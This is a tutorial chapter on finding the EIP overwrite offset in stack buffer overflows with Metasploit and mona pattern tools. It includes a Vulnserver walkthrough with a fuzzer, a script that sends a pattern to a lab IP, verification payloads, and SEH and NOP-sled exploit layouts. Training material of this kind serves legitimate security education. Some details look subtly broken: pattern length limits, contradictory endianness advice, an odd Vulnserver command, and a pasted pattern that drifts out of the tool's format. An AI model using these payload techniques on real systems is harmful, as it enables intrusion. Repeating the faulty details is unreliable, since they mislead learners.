Topic 6: Finding the Correct Offset
Domain: Fixing Exploits (Chapter 10) | Difficulty: Core
Table of Contents
- Why Offsets Matter
- Method 1: Metasploit Pattern Tools
- Method 2: Mona.py Pattern Tools
- Method 3: Mona findmsp
- How Cycle Strings Work Internally
- Verification Process
- Offset Troubleshooting Table
- Edge Cases
- Common Mistakes
- Practice Walkthrough
- Quick Reference Cheat Sheet
1. Why Offsets Matter
The Fundamental Problem
When you fuzz a vulnerable application and cause a crash, you have confirmed that a buffer overflow exists. But a crash alone tells you almost nothing about how to exploit it. The critical question is:
At exactly which byte offset does the input overwrite EIP (Extended Instruction Pointer)?
Understanding the Memory Layout
When a vulnerable function processes user-controlled input, the data flows through memory in a predictable pattern:
┌──────────────────────────────────────────────────────────────────┐
│ Stack Memory Layout │
│ │
│ High Addresses │
│ ┌─────────────────┐ │
│ │ Other Data │ ← Environment variables, thread data │
│ ├─────────────────┤ │
│ │ Return Address │ ← This overwrites EIP when overflowed │
│ │ (EIP Control) │ │
│ ├─────────────────┤ │
│ │ Saved EBP │ ← This overwrites EBP │
│ ├─────────────────┤ │
│ │ Local Vars │ │
│ ├─────────────────┤ │
│ │ Buffer Start │ ← Where our input begins │
│ │ (Overwritten) │ │
│ └─────────────────┘ │
│ Low Addresses │
│ │
│ ←─── [Buffer] ────[Offset to EIP]───[EIP Overwrite]───> │
└──────────────────────────────────────────────────────────────────┘
Why Precision Is Critical
| Goal | Why Offset Matters |
|---|---|
| Control EIP | You must land exactly on the 4 bytes that become EIP |
| Shellcode Placement | Knowing the offset tells you where your buffer starts relative to EIP |
| NOP Sled Sizing | The distance between shellcode and EIP determines your jump target |
| Reliability | An off-by-one error means the exploit crashes instead of executing |
The Offset Equation
Total Payload = [Offset Bytes] + [EIP Override (4 bytes)] + [ESP/JMP Target (4 bytes)] + [NOP Sled] + [Shellcode]
←── Offset ──→ ← EIP ──> ← Target → ← NOPs → ← Shellcode →
If the offset is wrong by even one byte, the 4-byte EIP override shifts and you lose instruction pointer control entirely.
2. Method 1: Metasploit Pattern Tools
Overview
Metasploit Framework provides two Ruby scripts for cyclic pattern work:
| Tool | Purpose | Path |
|---|---|---|
pattern_create.rb |
Generate a unique cyclic pattern | /usr/share/metasploit-framework/tools/exploit/pattern_create.rb |
pattern_offset.rb |
Calculate offset from a 4-byte marker | /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb |
Note: On Kali Linux, these are also available as
msf-pattern_createandmsf-pattern_offsetaliases.
Step-by-Step Workflow
Step 1: Estimate Buffer Size
Before generating a pattern, estimate how much data triggers the crash. From your fuzzing phase:
# Example from a fuzzer that found crash at 2000 bytes
# Generate a pattern slightly larger to ensure overflow
# If crash happened at 2000, try 3000 to be safe
Step 2: Generate the Pattern
# Generate a 3000-byte cyclic pattern
msf-pattern_create -l 3000
# Output:
# Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2...
# Alternative: write to file for easy copying
msf-pattern_create -l 3000 -o /tmp/pattern.txt
# On Windows (if using Metasploit installed locally)
pattern_create.rb -l 3000
Step 3: Craft the Exploit Payload
#!/usr/bin/env python
from pwn import *
# The cyclic pattern generated by pattern_create.rb
buffer = (
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9"
"Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9"
"Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9"
# ... continue for full 3000 bytes ...
)
# Or generate inline:
import subprocess
result = subprocess.run(['msf-pattern_create', '-l', '3000'], capture_output=True, text=True)
buffer = result.stdout.strip()
# Send via your chosen vector (file, network, etc.)
# For a file-based vulnerability:
with open('exploit.txt', 'w') as f:
f.write(buffer)
Step 4: Crash the Target & Capture EIP
Launch the vulnerable application under x32dbg or OllyDbg:
1. Open x32dbg
2. File → Open → Browse to the vulnerable .exe
3. Run (F9) the application
4. Trigger the vulnerability with the pattern payload
5. When it crashes, x32dbg breaks on the exception
6. Read the EIP register value
Example EIP value captured: 3969456E
Critical: The value you read from EIP is the 4-byte cyclic pattern fragment at the overflow point. This unique sequence maps to exactly one position in the pattern.
Step 5: Calculate the Offset
# Using the EIP value from the crash
msf-pattern_offset -q 3969456E
# Output:
# [*] Exact match at offset 1024
This tells you: the byte at position 1024 (0-indexed) is where EIP overwrite begins.
Alternative: Using Pattern Length
# If you know the pattern length and want to verify
msf-pattern_offset -q 3969456E -l 3000
# Output:
# [*] Exact match at offset 1024
Handling Endianness
The EIP register shows bytes in little-endian order (x86 convention). The tool handles this automatically, but understanding helps:
EIP Register shows: 39 69 45 6E (visual order in debugger)
Actual byte order: 0x6E, 0x45, 0x69, 0x39 (memory order, little-endian)
Pattern fragment: nEi9 (read right-to-left from register)
The tool converts automatically, but if doing manually:
- Read EIP as hex: 3969456E
- Reverse byte order for mental check: 6E456939
- The tool handles this internally
Complete Example Session
# === Terminal Session ===
# Step 1: Generate pattern
$ msf-pattern_create -l 2500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1...
# Step 2: Copy pattern into exploit script, run against target
# Target crashes, debugger shows: EIP = 6F43336F
# Step 3: Calculate offset
$ msf-pattern_offset -q 6F43336F
[*] Exact match at offset 500
# Step 4: Confirmed! EIP control starts at byte 500
# Next: Verify with AAAA/BBBB/CCCC test
3. Method 2: Mona.py Pattern Tools
Overview
Mona.py is a powerful Immunity Debugger / x32dbg Python plugin that provides advanced exploit development tools. Its pattern tools are often preferred for their integration with the debugger.
| Command | Equivalent | Description |
|---|---|---|
!mona pc |
pattern_create.rb |
Generate cyclic pattern |
!mona po |
pattern_offset.rb |
Calculate offset from register |
!mona findmsp |
N/A | Spray distance analysis |
Prerequisites
1. Install Mona.py:
- Download mona.py from https://github.com/corelan/mona
- Place in Immunity Debugger Python directory:
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\mona.py
2. Verify installation in Immunity Debugger:
- Open Immunity Debugger
- In the Python console, type: !mona
- Should display Mona's help menu
Step 1: Generate Pattern with Mona
Inside Immunity Debugger’s Python console:
# Generate a 3000-byte pattern and save to file
!mona pc -l 3000 -o C:\mona\pattern.txt
# Output:
# [+] Pattern of 3000 unique bytes created
# [+] Wrote pattern to C:\mona\pattern.txt
# Generate and save to default location
!mona pc -l 2500
# Output:
# [+] Pattern of 2500 unique bytes created
# [+] Wrote pattern to C:\mona\pattern.txt
Step 2: Prepare the Exploit
Copy the generated pattern from the file and use it as your payload:
# Read the pattern Mona generated
with open(r'C:\mona\pattern.txt', 'r') as f:
pattern = f.read().strip()
# Use as your overflow payload
# (send via your application's input vector)
Step 3: Crash & Calculate Offset
After the target crashes under Immunity Debugger:
# Calculate offset based on current EIP value
!mona po
# Output:
# [+] Searching for 42444142 in /patterns/
# [+] Exact match at offset of 1024
# [+] #1 : EIP (eip) contains 42444142 @ 04244142
# Calculate offset for a specific value
!mona po 42444142
# Calculate offset for a specific register
!mona po -r ebp
# Output:
# [+] Searching for 43444143 in /patterns/
# [+] Exact match at offset of 1028
# [+] #1 : EBP (ebp) contains 43444143 @ 04344143
Step 4: Verify with Mona’s Comparison
# Compare two crash dumps to find stable offsets
!mona compare -f C:\mona\crash1.txt -f2 C:\mona\crash2.txt
# Get a full memory snapshot at crash time
!mona config -set working_folder C:\mona
!mona stat
Mona Pattern Options Reference
# Full syntax reference
!mona pc [-l length] [-o output_file] [-f format]
# Options:
# -l Length of the pattern (required)
# -o Output file path (optional, defaults to pattern.txt)
# -f Format: 'ascii' (default), 'raw', 'hex'
# Examples
!mona pc -l 2048 -o C:\exploits\pattern_2048.txt
!mona pc -l 4096 -f raw -o C:\exploits\raw_pattern.bin
# Offset calculation
!mona po [value] [-r register] [-m]
# Options:
# value 4-byte hex value to search for (optional, defaults to EIP)
# -r Check specific register (eip, ebp, esp, etc.)
# -m Show all matches (not just first)
# Examples
!mona po 3969456E
!mona po -r esp
!mona po 64413964 -m
4. Method 3: Mona findmsp
What Is findmsp?
findmsp (find spray distance / pattern) analyzes the current crash state and reports distances from ESP, EBP, and other registers back to the start of the cyclic pattern — without needing to manually calculate offsets first.
When to Use It
| Scenario | Tool |
|---|---|
| Quick first look at crash distances | findmsp |
| Precise EIP offset needed | po |
| SEH overflow analysis | seh |
| Comparing multiple crashes | compare |
Usage
# After crashing with a cyclic pattern, run:
!mona findmsp
# Typical output:
# [+] Finding pattern creation spray distance
# [+] Pattern njgu found @ v:09E10000 (normal bytes)
# [+] Pattern njgu found @ v:0012FF60 (normal bytes)
# [+]
# [+] Normal pattern details:
# [+] Distance to EIP: 1024 bytes
# [+] Distance to EBP: 1028 bytes
# [+] Distance to ESP: 256 bytes (from EIP)
# [+]
# [+] Result:
# [+] Offset to EIP: 1024
# [+] Offset to EBP: 1028
# [+] ESP is 256 bytes after EIP
Interpreting the Output
┌─────────────────────────────────────────────────────────────┐
│ findmsp Output Breakdown │
│ │
│ "Distance to EIP: 1024 bytes" │
│ → The pattern overwrites EIP at byte 1024 │
│ │
│ "Distance to EBP: 1028 bytes" │
│ → EBP is overwritten 4 bytes after EIP (expected) │
│ │
│ "Distance to ESP: 256 bytes (from EIP)" │
│ → ESP points 256 bytes AFTER the EIP overwrite location │
│ → This is your shellcode placement zone │
│ → You can put shellcode here and JMP ESP to reach it │
└─────────────────────────────────────────────────────────────┘
Why findmsp Is Valuable
- Single command gives EIP offset, EBP offset, and ESP distance
- No manual hex reading — Mona parses the registers for you
- Confirms pattern presence — validates your pattern actually reached the crash point
- Shellcode planning — the ESP distance tells you how much room you have
Limitations
| Limitation | Workaround |
|---|---|
| Requires a cyclic pattern to be present | Use pc first |
| Only works when debugger is attached | Use po with captured EIP value for post-mortem |
| May miss patterns in non-standard overflows | Use !mona find -s <pattern> -a for manual search |
5. How Cycle Strings Work Internally
The Cyclic Pattern Algorithm
A cyclic (de Bruijn-like) pattern has a critical property: every possible n-byte substring appears exactly once. This makes offset calculation unambiguous.
Generation Algorithm
The Metasploit/Mona pattern uses a specific character set and generation strategy:
Character sequence cycle:
A-Z (26 chars) → a-z (26 chars) → 0-9 (10 chars)
Pattern construction:
Position 0: A
Position 1: a
Position 2: 0
Position 3: A (cycle restarts, but shifts)
Position 4: a
Position 5: 1 (next digit)
...
The Actual Pattern Structure
Index: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Char: A a 0 A a 1 A a 2 A a 3 A a 4 A
└─┬─┘ └─┬─┘ └─┬─┘ └─┬─┘ └─┬─┘ └─┬─┘ └─┬─┘
│ │ │ │ │ │ │
Block 0 Block 1 Block 2 Block 3 Block 4 Block 5 Block 6
Each "block" increments the trailing character.
After 0-9 exhausted, it moves to the middle character (a-z).
After a-z exhausted, it moves to the leading character (A-Z).
Why Every 4-Byte Sequence Is Unique
For a 4-byte window sliding through the pattern:
Position 0-3: A a 0 A → hex: 41 61 30 41
Position 1-4: a 0 A a → hex: 61 30 41 61
Position 2-5: 0 A a 1 → hex: 30 41 61 31
...
Because the pattern cycles through 3 independent counters
(uppercase, lowercase, digit), every 4-byte window produces
a unique combination — up to the pattern's designed length.
Maximum Pattern Length
With the character set [A-Za-z0-9] (62 printable ASCII chars):
4-byte unique sequences: 62^4 = 14,776,336 possible values
Metasploit patterns are typically reliable up to ~50,000 bytes.
Beyond that, the algorithm may produce duplicate subsequences.
For most exploit development:
- 2,000 - 5,000 bytes covers 99% of vulnerabilities
- Never go above 50,000 unless absolutely necessary
Visual Representation
graph LR
subgraph "Pattern Generation"
A["Start: Aa0"] --> B["Increment rightmost: Aa1"]
B --> C["Continue: Aa2 ... Aa9"]
C --> D["Roll digit, inc middle: Ab0"]
D --> E["Continue: Ab1 ... Ab9"]
E --> F["Roll middle, inc left: Ba0"]
F --> G["Continue cycling..."]
end
subgraph "Uniqueness Property"
H["Any 4 consecutive bytes"] --> I["Map to exactly one offset"]
I --> J["This enables precise offset calculation"]
end
6. Verification Process
The AAAA/BBBB/CCCC Test Pattern
After calculating the offset, you must verify it with a structured test payload. This confirms:
- The offset is correct (EIP contains exactly what you expect)
- EBP is overwritten as expected (4 bytes after EIP)
- ESP points to predictable data
Building the Verification Payload
# Structure:
# [Offset bytes of 'A'] + [4 bytes 'BBBB'] + [4 bytes 'CCCC'] + [Remaining 'D']
# If offset = 1024:
offset = 1024
payload = (
b'A' * offset # 1024 bytes of 0x41 → fills buffer to EIP
+ b'BBBB' # 4 bytes of 0x42 → overwrites EIP
+ b'CCCC' # 4 bytes of 0x43 → overwrites EBP
+ b'D' * 500 # 500 bytes of 0x44 → lands on stack (ESP area)
)
# Total: 1024 + 4 + 4 + 500 = 2532 bytes
Expected Results
| Register | Expected Value | Hex | Meaning |
|---|---|---|---|
| EIP | BBBB |
0x42424242 |
✅ Offset is correct — EIP overwritten with B’s |
| EBP | CCCC |
0x43434343 |
✅ 4 bytes after EIP, as expected |
| ESP | Points to DDDD... |
0x44444444... |
✅ Stack contains our D padding |
Interpreting Results
✅ All Correct
EIP = 42424242 (BBBB)
EBP = 43434343 (CCCC)
ESP → 44444444... (DDDD...)
Conclusion: Offset 1024 is CONFIRMED.
Next step: Replace BBBB with a JMP/CALL address.
❌ EIP Shows Wrong Value
EIP = 41414141 (AAAA)
EBP = 41414141 (AAAA)
Problem: The 'A' padding reached EIP.
Cause: Offset is TOO LARGE — EIP is overwritten before byte 1024.
Fix: Recalculate with pattern_create at a smaller length.
EIP = 44444444 (DDDD)
EBP = 44444444 (DDDD)
Problem: The 'D' padding reached EIP.
Cause: Offset is TOO SMALL — EIP is overwritten after byte 1032.
Fix: Recalculate. The real offset is > 1028.
❌ EBP Shows Wrong Value
EIP = 42424242 (BBBB) ✅
EBP = 42424242 (BBBB) ❌ Should be CCCC
Problem: EBP is only 0-3 bytes after EIP (not 4).
Cause: Unusual stack layout or the offset is off by 1-3 bytes.
Fix: Try offset ± 1, ± 2, ± 3 and retest.
Advanced Verification: Partial Control Test
If you suspect partial EIP control (e.g., only 2 or 3 bytes):
# Test 2-byte control
payload = (
b'A' * 1024
+ b'\x42\x42\x41\x41' # Only first 2 bytes = B
+ b'CCCC'
+ b'D' * 500
)
# Check if EIP = 00004242 or 41414242
# This reveals which bytes you control
Verification Flowchart
flowchart TD
A[Calculate offset with pattern] --> B[Build AAAA/BBBB/CCCC payload]
B --> C[Run target under debugger]
C --> D{EIP = 42424242?}
D -->|Yes| E{EBP = 43434343?}
D -->|No - EIP = 41414141| F[Offset too large]
D -->|No - EIP = 44444444| G[Offset too small]
D -->|No - other value| H[Recalculate with pattern_offset]
E -->|Yes| I[✅ Offset CONFIRMED]
E -->|No| J[Offset off by 1-3 bytes]
F --> K[Reduce offset and retry]
G --> L[Increase offset and retry]
J --> M[Test offset ± 1, ± 2, ± 3]
I --> N[Proceed to find JMP/CALL]
7. Offset Troubleshooting Table
| Symptom | Likely Cause | Fix |
|---|---|---|
pattern_offset returns “No exact match” |
EIP value not from cyclic pattern | Ensure you used the pattern payload, not fuzzing data |
pattern_offset returns “No exact match” |
Wrong endianness on EIP value | Try reversing byte order: 3969456E → 6E456939 |
pattern_offset returns “No exact match” |
Pattern too short (EIP beyond pattern) | Generate longer pattern and retry |
pattern_offset returns multiple matches |
Pattern has duplicates (too long) | Use shorter pattern (< 50,000 bytes) |
EIP = 0x00000000 |
Null byte filtering or SEH overflow | Check for null byte restrictions; try SEH approach |
EIP = 0xFFFFFFFF |
Specific application behavior | Check for sign-extension or specific crash handler |
| Crash happens but EIP unchanged | Not a buffer overflow (heap, use-after-free) | Reassess vulnerability type |
| EIP contains random data | ASLR or multiple crash points | Disable ASLR for testing; use consistent input |
| Offset differs between runs | Non-deterministic crash (heap, threading) | Use findmsp multiple times; look for stable offset |
findmsp says “Pattern not found” |
Pattern corrupted or not in memory | Regenerate pattern; verify payload delivery |
Mona po fails with Python error |
Mona not properly installed | Reinstall mona.py in PyCommands directory |
EIP shows 77xxxxxxxx |
Crash in system DLL (not your overflow) | The overflow may trigger later; check call stack |
| EBP not 4 bytes after EIP | Unusual function prologue/epilogue | Manual stack inspection; adjust offset by ±1-3 |
| Pattern causes crash before reaching EIP | Buffer smaller than expected | Reduce pattern length; binary search the boundary |
Debugging Workflow
Problem Identified
│
▼
┌─────────────────────┐
│ Is EIP overwritten? │──── No ──→ Reassess vulnerability type
│ │
│ Yes
│ │
▼ ▼
┌─────────────────────────────┐
│ Does pattern_offset match? │── No ──→ Check endianness
│ │ Check pattern length
│ Yes Regenerate pattern
│ │
▼ ▼
┌─────────────────────────────┐
│ Does AAAA/BBBB test pass? │── No ──→ Adjust offset ±1-3
│ │ Check payload delivery
│ Yes
│ │
▼ ▼
┌─────────────────────────────┐
│ ✅ Offset confirmed. │
│ Proceed to next phase. │
└─────────────────────────────┘
8. Edge Cases
Edge Case 1: Offset Differs Between Crashes
Scenario: Running the same payload produces different EIP values across crashes.
Causes:
- Heap-based overflow (heap layout varies)
- Thread timing issues
- Environment-dependent stack layout
- ASLR partially active
Solutions:
# Solution 1: Run multiple times and find common offset
for i in range(10):
# Crash target, capture EIP
eip_value = capture_eip()
offset = pattern_offset(eip_value)
print(f"Run {i}: offset = {offset}")
# Look for the most common offset value
# Solution 2: Use a larger NOP sled to cover variance
# If offset varies between 1020-1030:
payload = (
b'A' * 1020 # Start before minimum offset
+ b'\x90' * 20 # NOP sled covers variance
+ b'BBBB' # EIP target
+ b'CCCC'
+ shellcode
)
Edge Case 2: Multiple Crash Points
Scenario: The application has multiple vulnerable functions, each with different offsets.
Identification:
Run 1: EIP = 3969456E → offset 1024 (Function A)
Run 2: EIP = 7569456E → offset 2048 (Function B)
Solution:
# Use call stack analysis in debugger
# In x32dbg: View → Dump → Stack
# Identify which function's return address is overwritten
# Pick the most reliable crash point
# Usually the first function that crashes consistently
# If both are exploitable, choose the one with:
# - More predictable ESP distance
# - Fewer input restrictions
# - Better code cave availability
Edge Case 3: SEH vs EIP Offsets
Scenario: The overflow triggers a Structured Exception Handler before overwriting EIP.
How to Identify:
| Indicator | EIP Overflow | SEH Overflow |
|---|---|---|
| Crash type | Access Violation in your pattern | Exception dispatched to SEH |
| SEH chain | Intact | Overwritten with pattern data |
| Next instruction | Your pattern bytes | SEH handler address |
SEH-Specific Mona Commands:
# Analyze SEH chain
!mona seh
# Output:
# [+] SEH chain:
# [+] 0012FF80 : 09E10000 (normal bytes) <- SEH overwritten!
# [+] 0012FF84 : 0012FF90 (normal bytes)
# [+]
# [+] SEH overwrite details:
# [+] Offset to SEH: 512
# [+] Offset to next SEH: 516
# Find SEH-friendly gadgets
!mona modules -nobadchars 00
!mona find -s "\x66\x90" -m <module_without_SEHOP>
SEH Exploit Structure:
# SEH overflow structure differs from EIP overflow:
payload = (
b'A' * seh_offset # Reach SEH record
+ b'\xeb\x06\x90\x90' # SEH handler: short JMP back (skip 6 bytes)
+ b'CCCC' # Next SEH pointer (overwritten, ignored)
+ b'\x90' * 20 # NOP sled
+ shellcode
)
Edge Case 4: Null Byte in Offset
Scenario: The calculated offset requires null bytes in the payload.
# If offset = 0x00001024 and the application filters null bytes:
# The pattern tool still works (uses printable ASCII)
# But your final exploit must avoid 0x00 in the EIP override
# Solution: Use a JMP/CALL address that contains no null bytes
# Most good addresses won't have nulls if you pick carefully
Edge Case 5: Very Small Buffers
Scenario: Buffer is so small that EIP is only a few dozen bytes in.
# Offset might be as small as 8, 12, or 24 bytes
# The pattern tools still work fine:
msf-pattern_create -l 100
# Crash, capture EIP
msf-pattern_offset -q <eip_value>
# Might return: offset 12
# Verification:
payload = b'A' * 12 + b'BBBB' + b'CCCC' + b'D' * 50
Edge Case 6: Unicode/Double-Byte Overflows
Scenario: Application processes Unicode input (each character = 2 bytes).
# Every byte in your pattern is separated by 0x00
# This effectively doubles the offset
# Normal offset: 1024
# Unicode offset: 1024 * 2 = 2048 (approximately)
# But the null bytes break 4-byte sequences
# Solution: Use every-other-byte approach
# Generate pattern, then insert null bytes:
pattern = "Aa0Aa1Aa2..." # Normal pattern
unicode_pattern = ""
for i in range(0, len(pattern), 2):
unicode_pattern += pattern[i] + '\x00'
# Or use Mona's unicode pattern feature:
!mona pc -l 2048 -u
9. Common Mistakes
Mistake 1: Using the Wrong EIP Value
❌ WRONG: Using EIP from a crash caused by random fuzzing data
→ Fuzzing data is not a cyclic pattern → pattern_offset fails
✅ CORRECT: Generate a cyclic pattern FIRST, crash with it, THEN read EIP
Mistake 2: Endianness Confusion
❌ WRONG: Reading EIP as 3969456E and typing msf-pattern_offset -q 6E456939
→ Manual reversal is NOT needed — the tool handles it
✅ CORRECT: Type the EIP value exactly as shown in the debugger
msf-pattern_offset -q 3969456E
Mistake 3: Pattern Length Too Short
❌ WRONG: Generating 500-byte pattern when buffer is 2000 bytes
→ EIP position (1024) is beyond the pattern length
→ pattern_offset returns "No exact match"
✅ CORRECT: Generate pattern at least 1.5-2x the estimated crash size
msf-pattern_create -l 3000 (if crash happens around 2000)
Mistake 4: Pattern Length Too Long
❌ WRONG: Generating 100,000-byte pattern
→ May cause memory issues
→ May produce duplicate 4-byte sequences
→ Slows down the crash
✅ CORRECT: Start with 2000-5000 bytes, increase only if needed
Mistake 5: Confusing 0-Indexed vs 1-Indexed Offset
❌ WRONG: pattern_offset says 1024, so you use b'A' * 1025
→ Off by one!
✅ CORRECT: pattern_offset returns 0-indexed position
b'A' * 1024 + b'BBBB' → Bytes 0-1023 are 'A', bytes 1024-1027 are 'B'
Mistake 6: Not Verifying After Calculation
❌ WRONG: Trusting pattern_offset result without AAAA/BBBB verification
→ Hidden bugs in payload delivery can give false offsets
✅ CORRECT: Always verify with the structured test pattern
→ Confirms offset AND confirms you understand the stack layout
Mistake 7: Using Wrong Tool for the Job
❌ WRONG: Using pattern_create to calculate offset
→ pattern_create only GENERATES patterns
❌ WRONG: Using pattern_offset to generate patterns
→ pattern_offset only CALCULATES offsets
✅ CORRECT: Use both tools in sequence
1. pattern_create → generate pattern
2. Crash target with pattern
3. pattern_offset → calculate from EIP value
Mistake 8: Ignoring Bad Characters
❌ WRONG: Not considering that the application might filter certain bytes
→ Your pattern contains all printable ASCII
→ If null bytes are filtered, the pattern gets corrupted
✅ CORRECT: After finding offset, test for bad characters
→ Replace portions of payload with each byte 0x00-0xFF
→ Check which bytes get stripped or modified
10. Practice Walkthrough
Complete Example: Vulnserver Exploit
This walkthrough demonstrates the full offset-finding process against the classic Vulnserver training application.
Phase 1: Initial Fuzzing
#!/usr/bin/env python
# vulnserver_fuzzer.py
import socket
target = '192.168.1.100'
port = 9999
for i in range(500, 5000, 100):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.recv(1024)
# RTSP command with increasing buffer
payload = b'RTSP/1.1\r\n' + b'A' * i
s.send(payload)
s.close()
print(f'Sent {i} bytes - no crash')
except:
print(f'CRASH at {i} bytes!')
break
Result: Crash occurs between 2000-2100 bytes.
Phase 2: Generate Cyclic Pattern
# Generate a 2500-byte pattern
msf-pattern_create -l 2500
# Output (first 100 chars shown):
# Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9...
Phase 3: Crash with Pattern
#!/usr/bin/env python
# vulnserver_pattern.py
import socket
target = '192.168.1.100'
port = 9999
# Full 2500-byte cyclic pattern
pattern = (
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9"
"Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9"
"Ae0Ae1Ae2Ae3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Zs9Zt0Zt1Zt2Zt3Zt4Zt5Zt6Zt7Zt8Zt9"
"Zu0Zu1Zu2Zu3Zu4Zu5Zu6Zu7Zu8Zu9Zv0Zv1Zv2Zv3Zv4Zv5Zv6Zv7Zv8Zv9"
"Zw0Zw1Zw2Zw3Zw4Zw5Zw6Zw7Zw8Zw9Zx0Zx1Zx2Zx3Zx4Zx5Zx6Zx7Zx8Zx9"
"Zy0Zy1Zy2Zy3Zy4Zy5Zy6Zy7Zy8Zy9Zz0Zz1Zz2Zz3Zz4Zz5Zz6Zz7Zz8Zz9"
"0a00a10a20a30a40a50a60a70a80a90b00b10b20b30b40b50b60b70b80b90c0"
"0c10c20c30c40c50c60c70c80c90d00d10d20d30d40d50d60d70d80d90e00e1"
"0e20e30e40e50e60e70e80e90f00f10f20f30f40f50f60f70f80f90g00g10g2"
"0g30g40g50g60g70g80g90h00h10h20h30h40h50h60h70h80h90i00i10i20i3"
"0i40i50i60i70i80i90j00j10j20j30j40j50j60j70j80j90k00k10k20k30k4"
"0k50k60k70k80k90l00l10l20l30l40l50l60l70l80l90m00m10m20m30m40m5"
"0m60m70m80m90n00n10n20n30n40n50n60n70n80n90o00o10o20o30o40o50o6"
"0o70o80o90p00p10p20p30p40p50p60p70p80p90q00q10q20q30q40q50q60q7"
"0q80q90r00r10r20r30r40r50r60r70r80r90s00s10s20s30s40s50s60s70s8"
"0s90t00t10t20t30t40t50t60t70t80t90u00u10u20u30u40u50u60u70u80u9"
"0v00v10v20v30v40v50v60v70v80v90w00w10w20w30w40w50w60w70w80w90x0"
"0x10x20x30x40x50x60x70x80x90y00y10y20y30y40y50y60y70y80y90z00z1"
"0z20z30z40z50z60z70z80z91a01a11a21a31a41a51a61a71a81a91b01b11b2"
"1b31b41b51b61b71b81b91c01c11c21c31c41c51c61c71c81c91d01d11d21d3"
"1d41d51d61d71d81d91e01e11e21e31e41e51e61e71e81e91f01f11f21f31f4"
"1f51f61f71f81f91g01g11g21g31g41g51g61g71g81g91h01h11h21h31h41h5"
"1h61h71h81h91i01i11i21i31i41i51i61i71i81i91j01j11j21j31j41j51j6"
"1j71j81j91k01k11k21k31k41k51k61k71k81k91l01l11l21l31l41l51l61l7"
"1l81l91m01m11m21m31m41m51m61m71m81m91n01n11n21n31n41n51n61n71n8"
"1n91o01o11o21o31o41o51o61o71o81o91p01p11p21p31p41p51p61p71p81p9"
"1q01q11q21q31q41q51q61q71q81q91r01r11r21r31r41r51r61r71r81r91s0"
"1s11s21s31s41s51s61s71s81s91t01t11t21t31t41t51t61t71t81t91u01u1"
"1u21u31u41u51u61u71u81u91v01v11v21v31v41v51v61v71v81v91w01w11w2"
"1w31w41w51w61w71w81w91x01x11x21x31x41x51x61x71x81x91y01y11y21y3"
"1y41y51y61y71y81y91z01z11z21z31z41z51z61z71z81z92a02a12a22a32a4"
"2a52a62a72a82a92b02b12b22b32b42b52b62b72b82b92c02c12c22c32c42c5"
"2c62c72c82c92d02d12d22d32d42d52d62d72d82d92e02e12e22e32e42e52e6"
"2e72e82e92f02f12f22f32f42f52f62f72f82f92g02g12g22g32g42g52g62g7"
"2g82g92h02h12h22h32h42h52h62h72h82h92i02i12i22i32i42i52i62i72i8"
"2i92j02j12j22j32j42j52j62j72j82j92k02k12k22k32k42k52k62k72k82k9"
"2l02l12l22l32l42l52l62l72l82l92m02m12m22m32m42m52m62m72m82m92n0"
"2n12n22n32n42n52n62n72n82n92o02o12o22o32o42o52o62o72o82o92p02p1"
"2p22p32p42p52p62p72p82p92q02q12q22q32q42q52q62q72q82q92r02r12r2"
"2r32r42r52r62r72r82r92s02s12s22s32s42s52s62s72s82s92t02t12t22t3"
"2t42t52t62t72t82t92u02u12u22u32u42u52u62u72u82u92v02v12v22v32v4"
"2v52v62v72v82v92w02w12w22w32w42w52w62w72w82w92x02x12x22x32x42x5"
"2x62x72x82x92y02y12y22y32y42y52y62y72y82y92z02z12z22z32z42z52z6"
"2z72z82z93a03a13a23a33a43a53a63a73a83a93b03b13b23b33b43b53b63b7"
"3b83b93c03c13c23c33c43c53c63c73c83c93d03d13d23d33d43d53d63d73d8"
"3d93e03e13e23e33e43e53e63e73e83e93f03f13f23f33f43f53f63f73f83f9"
"3g03g13g23g33g43g53g63g73g83g93h03h13h23h33h43h53h63h73h83h93i0"
"3i13i23i33i43i53i63i73i83i93j03j13j23j33j43j53j63j73j83j93k03k1"
"3k23k33k43k53k63k73k83k93l03l13l23l33l43l53l63l73l83l93m03m13m2"
"3m33m43m53m63m73m83m93n03n13n23n33n43n53n63n73n83n93o03o13o23o3"
"3o43o53o63o73o83o93p03p13p23p33p43p53p63p73p83p93q03q13q23q33q4"
"3q53q63q73q83q93r03r13r23r33r43r53r63r73r83r93s03s13s23s33s43s5"
"3s63s73s83s93t03t13t23t33t43t53t63t73t83t93u03u13u23u33u43u53u6"
"3u73u83u93v03v13v23v33v43v53v63v73v83v93w03w13w23w33w43w53w63w7"
"3w83w93x03x13x23x33x43x53x63x73x83x93y03y13y23y33y43y53y63y73y8"
"3y93z03z13z23z33z43z53z63z73z83z94a04a14a24a34a44a54a64a74a84a9"
"4b04b14b24b34b44b54b64b74b84b94c04c14c24c34c44c54c64c74c84c94d0"
"4d14d24d34d44d54d64d74d84d94e04e14e24e34e44e54e64e74e84e94f04f1"
